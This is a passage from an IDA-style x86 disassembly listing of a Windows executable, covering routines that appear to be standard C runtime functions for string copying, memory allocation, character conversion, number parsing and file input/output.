jnb short loc_417B7C
loc_417B90: ; CODE XREF: sub_417B70+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_417B70 endp
; =============== S U B R O U T I N E =======================================
sub_417B9F proc near ; CODE XREF: sub_403A47+7Ap
; sub_403A47+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_417BB3
loc_417BAB: ; CODE XREF: sub_417B9F+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_417BAB
loc_417BB3: ; CODE XREF: sub_417B9F+Aj
mov edx, [esp+arg_4]
push esi
loc_417BB8: ; CODE XREF: sub_417B9F+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_417BB8
pop esi
retn
sub_417B9F endp
; =============== S U B R O U T I N E =======================================
sub_417BC9 proc near ; CODE XREF: sub_404D78+35Bp
; sub_404D78+3D7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
mov eax, [esp+arg_0]
push esi
mov dx, [ecx]
lea esi, [eax+2]
mov [eax], dx
loc_417BDB: ; CODE XREF: sub_417BC9+21j
inc ecx
inc ecx
test dx, dx
jz short loc_417BEC
mov dx, [ecx]
mov [esi], dx
inc esi
inc esi
jmp short loc_417BDB
; ---------------------------------------------------------------------------
loc_417BEC: ; CODE XREF: sub_417BC9+17j
pop esi
retn
sub_417BC9 endp
; =============== S U B R O U T I N E =======================================
sub_417BEE proc near ; CODE XREF: sub_403BE2+220p
; sub_403E35+C1p ...
arg_0 = dword ptr 4
push dword_5158DC
push [esp+4+arg_0]
call sub_417C00
pop ecx
pop ecx
retn
sub_417BEE endp
; =============== S U B R O U T I N E =======================================
sub_417C00 proc near ; CODE XREF: sub_417BEE+Ap
; sub_418F5C+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_417C29
loc_417C07: ; CODE XREF: sub_417C00+27j
push [esp+arg_0]
call sub_417C2C
test eax, eax
pop ecx
jnz short locret_417C2B
cmp [esp+arg_4], eax
jz short locret_417C2B
push [esp+arg_0]
call sub_419BC2
test eax, eax
pop ecx
jnz short loc_417C07
loc_417C29: ; CODE XREF: sub_417C00+5j
xor eax, eax
locret_417C2B: ; CODE XREF: sub_417C00+13j
; sub_417C00+19j
retn
sub_417C00 endp
; =============== S U B R O U T I N E =======================================
sub_417C2C proc near ; CODE XREF: sub_417C00+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, dword_43B7BC
ja short loc_417C44
push esi
call sub_419FAD
test eax, eax
pop ecx
jnz short loc_417C60
loc_417C44: ; CODE XREF: sub_417C2C+Bj
test esi, esi
jnz short loc_417C4B
push 1
pop esi
loc_417C4B: ; CODE XREF: sub_417C2C+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_516EC0
nop
call near ptr 7C9105D4h
loc_417C60: ; CODE XREF: sub_417C2C+16j
pop esi
retn
sub_417C2C endp
; =============== S U B R O U T I N E =======================================
sub_417C62 proc near ; CODE XREF: sub_403E35+10Ep
; sub_403E35+116p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_417C8F
push esi
call sub_419C57
pop ecx
test eax, eax
push esi
jz short loc_417C81
push eax
call sub_419C82
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_417C81: ; CODE XREF: sub_417C62+13j
push 0
push dword_516EC0
nop
call near ptr 7C91043Dh
loc_417C8F: ; CODE XREF: sub_417C62+7j
pop esi
retn
sub_417C62 endp
; =============== S U B R O U T I N E =======================================
sub_417C91 proc near ; CODE XREF: sub_404D78+2B9p
; sub_404D78+2DEp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_417CA8
loc_417C9E: ; CODE XREF: sub_417C91+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_417C9E
loc_417CA8: ; CODE XREF: sub_417C91+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_417C91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417CAE proc near ; CODE XREF: sub_404D78+17Cp
; sub_40EB6D+19p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_417D7B
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_417DA8
cmp dword_5158EC, esi
jnz short loc_417CFF
cmp edi, esi
jbe loc_417DA8
loc_417CDE: ; CODE XREF: sub_417CAE+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_417DA8
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_417CDE
jmp loc_417DA8
; ---------------------------------------------------------------------------
loc_417CFF: ; CODE XREF: sub_417CAE+26j
mov ebx, [ebp+arg_4]
mov esi, dword_421074
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_5158FC
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_417DA7
nop
call near ptr 7C910331h
cmp eax, 7Ah
jz short loc_417D39
loc_417D2A: ; CODE XREF: sub_417CAE+CBj
; sub_417CAE+F7j
mov dword_515884, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_417DA8
; ---------------------------------------------------------------------------
loc_417D39: ; CODE XREF: sub_417CAE+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_417D41: ; CODE XREF: sub_417CAE+B3j
mov cl, [eax]
test cl, cl
jz short loc_417D63
mov edx, off_43B5A0
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_417D58
inc eax
loc_417D58: ; CODE XREF: sub_417CAE+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_417D41
loc_417D63: ; CODE XREF: sub_417CAE+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_5158FC
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_417DA8
jmp short loc_417D2A
; ---------------------------------------------------------------------------
loc_417D7B: ; CODE XREF: sub_417CAE+Fj
cmp dword_5158EC, esi
jnz short loc_417D8E
push [ebp+arg_4]
call sub_417AF0
pop ecx
jmp short loc_417DA8
; ---------------------------------------------------------------------------
loc_417D8E: ; CODE XREF: sub_417CAE+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_5158FC
nop
call near ptr 7C809BF8h
cmp eax, esi
jz short loc_417D2A
loc_417DA7: ; CODE XREF: sub_417CAE+6Bj
dec eax
loc_417DA8: ; CODE XREF: sub_417CAE+1Aj
; sub_417CAE+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_417CAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DAD proc near ; CODE XREF: sub_417FB5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_417DC5: ; CODE XREF: sub_417DAD+46j
cmp dword_43B7AC, 1
jle short loc_417DDD
movzx eax, bl
push 8
push eax
call sub_419B4D
pop ecx
pop ecx
jmp short loc_417DEC
; ---------------------------------------------------------------------------
loc_417DDD: ; CODE XREF: sub_417DAD+1Fj
mov ecx, off_43B5A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_417DEC: ; CODE XREF: sub_417DAD+2Ej
test eax, eax
jz short loc_417DF5
mov bl, [esi]
inc esi
jmp short loc_417DC5
; ---------------------------------------------------------------------------
loc_417DF5: ; CODE XREF: sub_417DAD+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_417E03
or [ebp+arg_C], 2
jmp short loc_417E08
; ---------------------------------------------------------------------------
loc_417E03: ; CODE XREF: sub_417DAD+4Ej
cmp bl, 2Bh
jnz short loc_417E0E
loc_417E08: ; CODE XREF: sub_417DAD+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_417E0E: ; CODE XREF: sub_417DAD+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_417FA5
cmp eax, 1
jz loc_417FA5
cmp eax, 24h
jg loc_417FA5
push 10h
test eax, eax
pop ecx
jnz short loc_417E56
cmp bl, 30h
jz short loc_417E40
mov [ebp+arg_8], 0Ah
jmp short loc_417E72
; ---------------------------------------------------------------------------
loc_417E40: ; CODE XREF: sub_417DAD+88j
mov al, [esi]
cmp al, 78h
jz short loc_417E53
cmp al, 58h
jz short loc_417E53
mov [ebp+arg_8], 8
jmp short loc_417E72
; ---------------------------------------------------------------------------
loc_417E53: ; CODE XREF: sub_417DAD+97j
; sub_417DAD+9Bj
mov [ebp+arg_8], ecx
loc_417E56: ; CODE XREF: sub_417DAD+83j
cmp [ebp+arg_8], ecx
jnz short loc_417E72
cmp bl, 30h
jnz short loc_417E72
mov al, [esi]
cmp al, 78h
jz short loc_417E6A
cmp al, 58h
jnz short loc_417E72
loc_417E6A: ; CODE XREF: sub_417DAD+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_417E72: ; CODE XREF: sub_417DAD+91j
; sub_417DAD+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_417E82: ; CODE XREF: sub_417DAD+16Cj
cmp dword_43B7AC, 1
movzx esi, bl
jle short loc_417E9A
push 4
push esi
call sub_419B4D
pop ecx
pop ecx
jmp short loc_417EA5
; ---------------------------------------------------------------------------
loc_417E9A: ; CODE XREF: sub_417DAD+DFj
mov eax, off_43B5A0
mov al, [eax+esi*2]
and eax, 4
loc_417EA5: ; CODE XREF: sub_417DAD+EBj
test eax, eax
jz short loc_417EB1
movsx ecx, bl
sub ecx, 30h
jmp short loc_417EE3
; ---------------------------------------------------------------------------
loc_417EB1: ; CODE XREF: sub_417DAD+FAj
cmp dword_43B7AC, 1
jle short loc_417EC5
push edi
push esi
call sub_419B4D
pop ecx
pop ecx
jmp short loc_417ED0
; ---------------------------------------------------------------------------
loc_417EC5: ; CODE XREF: sub_417DAD+10Bj
mov eax, off_43B5A0
mov ax, [eax+esi*2]
and eax, edi
loc_417ED0: ; CODE XREF: sub_417DAD+116j
test eax, eax
jz short loc_417F1E
movsx eax, bl
push eax
call sub_41A758
pop ecx
mov ecx, eax
sub ecx, 37h
loc_417EE3: ; CODE XREF: sub_417DAD+102j
cmp ecx, [ebp+arg_8]
jnb short loc_417F1E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_417F08
jnz short loc_417F02
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_417F08
loc_417F02: ; CODE XREF: sub_417DAD+147j
or [ebp+arg_C], 4
jmp short loc_417F11
; ---------------------------------------------------------------------------
loc_417F08: ; CODE XREF: sub_417DAD+145j
; sub_417DAD+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_417F11: ; CODE XREF: sub_417DAD+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_417E82
; ---------------------------------------------------------------------------
loc_417F1E: ; CODE XREF: sub_417DAD+125j
; sub_417DAD+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_417F3C
test edx, edx
jz short loc_417F36
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_417F36: ; CODE XREF: sub_417DAD+181j
and [ebp+var_8], 0
jmp short loc_417F89
; ---------------------------------------------------------------------------
loc_417F3C: ; CODE XREF: sub_417DAD+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_417F62
test cl, 1
jnz short loc_417F89
and ecx, 2
jz short loc_417F59
cmp [ebp+var_8], 80000000h
ja short loc_417F62
loc_417F59: ; CODE XREF: sub_417DAD+1A1j
test ecx, ecx
jnz short loc_417F89
cmp [ebp+var_8], eax
jbe short loc_417F89
loc_417F62: ; CODE XREF: sub_417DAD+197j
; sub_417DAD+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_515884, 22h
jz short loc_417F78
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_417F89
; ---------------------------------------------------------------------------
loc_417F78: ; CODE XREF: sub_417DAD+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_417F89: ; CODE XREF: sub_417DAD+18Dj
; sub_417DAD+19Cj ...
test edx, edx
jz short loc_417F92
mov eax, [ebp+var_4]
mov [edx], eax
loc_417F92: ; CODE XREF: sub_417DAD+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_417FA0
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_417FA0: ; CODE XREF: sub_417DAD+1E9j
mov eax, [ebp+var_8]
jmp short loc_417FB0
; ---------------------------------------------------------------------------
loc_417FA5: ; CODE XREF: sub_417DAD+66j
; sub_417DAD+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_417FAE
mov [eax], edi
loc_417FAE: ; CODE XREF: sub_417DAD+1FDj
xor eax, eax
loc_417FB0: ; CODE XREF: sub_417DAD+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_417DAD endp
; =============== S U B R O U T I N E =======================================
sub_417FB5 proc near ; CODE XREF: sub_405350+4BDp
; sub_40F6F1+3897p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_417DAD
add esp, 10h
retn
sub_417FB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417FCC proc near ; CODE XREF: sub_405350+266p
; sub_405350+46Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_417AF0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41A824
add esp, 10h
leave
retn
sub_417FCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418000 proc near ; CODE XREF: sub_405350+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
nop
call near ptr 7C80A7D4h
lea eax, [ebp+var_20]
push eax
nop
call near ptr 7C80176Bh
mov ax, [ebp+var_16]
cmp ax, word_515872
jnz short loc_418065
mov ax, [ebp+var_18]
cmp ax, word_515870
jnz short loc_418065
mov ax, [ebp+var_1A]
cmp ax, word_51586E
jnz short loc_418065
mov ax, [ebp+var_1E]
cmp ax, word_51586A
jnz short loc_418065
mov ax, [ebp+var_20]
cmp ax, word_515868
jnz short loc_418065
mov eax, dword_515860
jmp short loc_4180AA
; ---------------------------------------------------------------------------
loc_418065: ; CODE XREF: sub_418000+28j
; sub_418000+35j ...
lea eax, [ebp+var_CC]
push eax
nop
call near ptr 7C8350BFh
cmp eax, 0FFFFFFFFh
jz short loc_418092
cmp eax, 2
jnz short loc_41808E
cmp [ebp+var_32], 0
jz short loc_41808E
cmp [ebp+var_24], 0
jz short loc_41808E
push 1
pop eax
jmp short loc_418095
; ---------------------------------------------------------------------------
loc_41808E: ; CODE XREF: sub_418000+7Aj
; sub_418000+81j ...
xor eax, eax
jmp short loc_418095
; ---------------------------------------------------------------------------
loc_418092: ; CODE XREF: sub_418000+75j
or eax, 0FFFFFFFFh
loc_418095: ; CODE XREF: sub_418000+8Cj
; sub_418000+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_515868
movsd
movsd
movsd
movsd
pop edi
mov dword_515860, eax
pop esi
loc_4180AA: ; CODE XREF: sub_418000+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_41B2D5
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_4180DA
mov [ecx], eax
locret_4180DA: ; CODE XREF: sub_418000+D6j
leave
retn
sub_418000 endp
; =============== S U B R O U T I N E =======================================
sub_4180DC proc near ; CODE XREF: sub_4059D0+7Cp
; sub_406B85+4B5p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_4180F1
or eax, 0FFFFFFFFh
jmp short loc_41812B
; ---------------------------------------------------------------------------
loc_4180F1: ; CODE XREF: sub_4180DC+Ej
test al, 83h
jz short loc_418129
push esi
call sub_41B4B0
push esi
mov edi, eax
call sub_41B44A
push dword ptr [esi+10h]
call sub_41B397
add esp, 0Ch
test eax, eax
jge short loc_418117
or edi, 0FFFFFFFFh
jmp short loc_418129
; ---------------------------------------------------------------------------
loc_418117: ; CODE XREF: sub_4180DC+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_418129
push eax
call sub_417C62
and dword ptr [esi+1Ch], 0
pop ecx
loc_418129: ; CODE XREF: sub_4180DC+17j
; sub_4180DC+39j ...
mov eax, edi
loc_41812B: ; CODE XREF: sub_4180DC+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_4180DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418132 proc near ; CODE XREF: sub_4059D0+4Ep
; sub_406B85+30Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_418156
xor eax, eax
jmp loc_4181FF
; ---------------------------------------------------------------------------
loc_418156: ; CODE XREF: sub_418132+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_418169
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_418175
; ---------------------------------------------------------------------------
loc_418169: ; CODE XREF: sub_418132+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_418175
; ---------------------------------------------------------------------------
loc_418172: ; CODE XREF: sub_418132+C4j
mov ecx, [ebp+arg_0]
loc_418175: ; CODE XREF: sub_418132+35j
; sub_418132+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_4181A7
mov eax, [esi+4]
test eax, eax
jz short loc_4181A7
cmp ecx, eax
mov edi, ecx
jb short loc_41818C
mov edi, eax
loc_41818C: ; CODE XREF: sub_418132+56j
push edi
push dword ptr [esi]
push ebx
call sub_417490
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181A7: ; CODE XREF: sub_418132+49j
; sub_418132+50j
cmp ecx, [ebp+arg_C]
jb short loc_4181DA
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_4181BD
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_4181BD: ; CODE XREF: sub_418132+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41B65B
add esp, 0Ch
test eax, eax
jz short loc_418204
cmp eax, 0FFFFFFFFh
jz short loc_41820A
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181DA: ; CODE XREF: sub_418132+78j
push esi
call sub_41B582
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41820E
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_4181F2: ; CODE XREF: sub_418132+73j
; sub_418132+A6j
cmp [ebp+arg_0], 0
jnz loc_418172
mov eax, [ebp+arg_8]
loc_4181FF: ; CODE XREF: sub_418132+1Fj
; sub_418132+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_418204: ; CODE XREF: sub_418132+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41820E
; ---------------------------------------------------------------------------
loc_41820A: ; CODE XREF: sub_418132+9Fj
or dword ptr [esi+0Ch], 20h
loc_41820E: ; CODE XREF: sub_418132+B2j
; sub_418132+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_4181FF
sub_418132 endp
; =============== S U B R O U T I N E =======================================
sub_41821A proc near ; CODE XREF: sub_41823A+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41B9C1
test eax, eax
jnz short loc_418224
retn
; ---------------------------------------------------------------------------
loc_418224: ; CODE XREF: sub_41821A+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41B851
add esp, 10h
retn
sub_41821A endp
; =============== S U B R O U T I N E =======================================
sub_41823A proc near ; CODE XREF: sub_4059D0+2Ap
; sub_406B85+134p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41821A
add esp, 0Ch
retn
sub_41823A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41824D proc near ; CODE XREF: sub_405A6A+2B2p
; sub_406047+101p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_418266: ; CODE XREF: sub_41824D+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_418266
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41828E
mov edx, dword_515878
loc_41828E: ; CODE XREF: sub_41824D+39j
; sub_41824D+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_4182AE
test al, al
jz short loc_4182AE
inc edx
jmp short loc_41828E
; ---------------------------------------------------------------------------
loc_4182AE: ; CODE XREF: sub_41824D+58j
; sub_41824D+5Cj
mov ebx, edx
loc_4182B0: ; CODE XREF: sub_41824D+81j
mov al, [edx]
test al, al
jz short loc_4182D4
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_4182D0
inc edx
jmp short loc_4182B0
; ---------------------------------------------------------------------------
loc_4182D0: ; CODE XREF: sub_41824D+7Ej
and byte ptr [edx], 0
inc edx
loc_4182D4: ; CODE XREF: sub_41824D+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_515878, edx
and eax, ebx
pop ebx
leave
retn
sub_41824D endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4182F0 proc near ; CODE XREF: sub_4062F7+1B4p
; sub_4071BD+6Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_418373
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_418314
shr ecx, 2
jnz short loc_418381
jmp short loc_418335
; ---------------------------------------------------------------------------
loc_418314: ; CODE XREF: sub_4182F0+1Bj
; sub_4182F0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_418342
test al, al
jz short loc_41834A
test esi, 3
jnz short loc_418314
mov ebx, ecx
shr ecx, 2
jnz short loc_418381
loc_418330: ; CODE XREF: sub_4182F0+8Fj
and ebx, 3
jz short loc_418342
loc_418335: ; CODE XREF: sub_4182F0+22j
; sub_4182F0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41836E
dec ebx
jnz short loc_418335
loc_418342: ; CODE XREF: sub_4182F0+2Bj
; sub_4182F0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41834A: ; CODE XREF: sub_4182F0+2Fj
test edi, 3
jz short loc_418364
loc_418352: ; CODE XREF: sub_4182F0+72j
mov [edi], al
inc edi
dec ecx
jz loc_4183E6
test edi, 3
jnz short loc_418352
loc_418364: ; CODE XREF: sub_4182F0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_4183D7
loc_41836B: ; CODE XREF: sub_4182F0+7Fj
; sub_4182F0+F4j
mov [edi], al
inc edi
loc_41836E: ; CODE XREF: sub_4182F0+4Dj
dec ebx
jnz short loc_41836B
pop ebx
pop esi
loc_418373: ; CODE XREF: sub_4182F0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_418379: ; CODE XREF: sub_4182F0+A9j
; sub_4182F0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_418330
loc_418381: ; CODE XREF: sub_4182F0+20j
; sub_4182F0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_418379
test dl, dl
jz short loc_4183CB
test dh, dh
jz short loc_4183C1
test edx, 0FF0000h
jz short loc_4183B7
test edx, 0FF000000h
jnz short loc_418379
mov [edi], edx
jmp short loc_4183CF
; ---------------------------------------------------------------------------
loc_4183B7: ; CODE XREF: sub_4182F0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_4183CF
; ---------------------------------------------------------------------------
loc_4183C1: ; CODE XREF: sub_4182F0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_4183CF
; ---------------------------------------------------------------------------
loc_4183CB: ; CODE XREF: sub_4182F0+ADj
xor edx, edx
mov [edi], edx
loc_4183CF: ; CODE XREF: sub_4182F0+C5j
; sub_4182F0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_4183E1
loc_4183D7: ; CODE XREF: sub_4182F0+79j
xor eax, eax
loc_4183D9: ; CODE XREF: sub_4182F0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_4183D9
loc_4183E1: ; CODE XREF: sub_4182F0+E5j
and ebx, 3
jnz short loc_41836B
loc_4183E6: ; CODE XREF: sub_4182F0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_4182F0 endp
; =============== S U B R O U T I N E =======================================
sub_4183EE proc near ; CODE XREF: sub_406B85+2E2p
; sub_406B85+435p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41846A
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_41840D
cmp edi, 1
jz short loc_41840D
cmp edi, 2
jnz short loc_41846A
loc_41840D: ; CODE XREF: sub_4183EE+13j
; sub_4183EE+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_418424
push esi
call sub_41BAD3
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_418424: ; CODE XREF: sub_4183EE+27j
push esi
call sub_41B4B0
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_418439
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41844D
; ---------------------------------------------------------------------------
loc_418439: ; CODE XREF: sub_4183EE+42j
test al, 1
jz short loc_41844D
test al, 8
jz short loc_41844D
test ah, 4
jnz short loc_41844D
mov dword ptr [esi+18h], 200h
loc_41844D: ; CODE XREF: sub_4183EE+49j
; sub_4183EE+4Dj ...
push edi
